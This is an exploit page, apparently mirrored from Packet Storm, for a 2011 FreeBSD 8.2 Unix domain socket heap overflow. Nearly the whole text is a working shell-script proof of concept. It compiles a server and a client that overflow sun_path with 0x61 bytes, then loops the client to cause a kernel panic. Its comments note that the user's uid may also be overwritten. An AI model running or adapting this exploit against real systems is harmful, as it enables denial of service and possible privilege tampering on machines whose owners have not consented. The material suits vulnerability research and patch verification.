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FreeBSD UIPC Socket Heap Overflow

🗓️ 30 Sep 2011 00:00:00Reported by Shaun ColleyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

FreeBSD UIPC Socket Heap Overflow Po

Code
`#!/bin/sh  
#  
# fbsd-uipcsock-heap.sh, by Shaun Colley <[email protected]>, 29/09/11  
#  
# proof-of-concept crash for the freebsd unix domain sockets heap  
# overflow. this was tested on freebsd 8.2-RELEASE. just a PoC for now.  
#  
# see advisory & patches for details:  
# http://www.securityfocus.com/archive/1/519864/30/0/threaded  
#  
# this PoC will usually result in a kernel panic with a read access  
# violation at 0x616161XX but sometimes the kernel will not crash straight  
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),  
# and your uid (see output of `id`) may have been modified to the  
# decimal equivalent of 0x61616161 during the heap smash  
  
# write server code to srv.c  
cat > srv.c << _EOF  
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
#include <sys/types.h>  
#include <unistd.h>  
#include <string.h>  
  
struct socky {  
short sun_family;  
char sun_path[160];  
};  
  
int connhandler(int incoming)  
{  
char buffer[256];  
int n = 0;  
  
n = read(incoming, buffer, 256);  
buffer[n] = 0;  
  
printf("%s\n", buffer);  
n = sprintf(buffer, "fbsd uipc socket heap overflow");  
write(incoming, buffer, n);  
  
close(incoming);  
return 0;  
}  
  
int main(void)  
{  
struct socky overfl0w;  
int sock, incoming;  
socklen_t alen;  
pid_t child;  
char buf[160];  
  
sock = socket(PF_UNIX, SOCK_STREAM, 0);  
if(sock < 0)  
{  
printf("socket() failed!\n");  
return 1;  
}  
  
memset(&overfl0w, 0, sizeof(struct socky));  
  
overfl0w.sun_family = AF_UNIX;  
memset(buf, 0x61, sizeof(buf));  
buf[sizeof(buf)-1] = 0x00;  
strcpy(overfl0w.sun_path, buf);  
  
if(bind(sock, (struct sockaddr *)&overfl0w,  
sizeof(struct socky)) != 0)  
{  
printf("bind() failed!\n");  
return 1;  
}  
  
if(listen(sock, 5) != 0)  
{  
printf("listen() failed!\n");  
return 1;  
}  
  
while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1)  
{  
child = fork();  
if(child == 0)  
{  
return connhandler(incoming);  
}  
close(incoming);  
}  
  
close(sock);  
return 0;  
}  
_EOF  
  
gcc srv.c -o srv  
  
# write the client code to client.c  
cat > client.c << _EOF  
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/un.h>  
#include <unistd.h>  
#include <string.h>  
  
struct socky {  
short sun_family;  
char sun_path[160];  
};  
  
int main(void)  
{  
struct socky overfl0w;  
int sock, n;  
char buffer[256], buf[160];  
  
sock = socket(PF_UNIX, SOCK_STREAM, 0);  
if(sock < 0)  
{  
printf("socket() failed!\n");  
return 1;  
}  
  
/* start with a clean address structure */  
memset(&overfl0w, 0, sizeof(struct sockaddr_un));  
  
overfl0w.sun_family = AF_UNIX;  
memset(buf, 0x61, sizeof(buf));  
buf[sizeof(buf)-1] = 0x00;  
strcpy(overfl0w.sun_path, buf);  
  
if(connect(sock,  
(struct sockaddr *)&overfl0w,  
sizeof(struct socky)) != 0)  
{  
printf("connect() failed!\n");  
return 1;  
}  
  
n = snprintf(buffer, 256, "panic");  
write(sock, buffer, n);  
  
n = read(sock, buffer, 256);  
buffer[n] = 0;  
  
printf("%s\n", buffer);  
  
close(sock);  
return 0;  
}  
_EOF  
  
gcc client.c -o client  
  
# crash doesn't happen straight away, so loop the client to speed it up  
cat > loop.c << _EOF  
#include <stdio.h>  
  
int main() {  
for(int i = 0; i < 1000; i++) {  
system("./client");  
}  
}  
_EOF  
  
gcc loop.c -o loop  
  
./srv &  
./loop  
  
`

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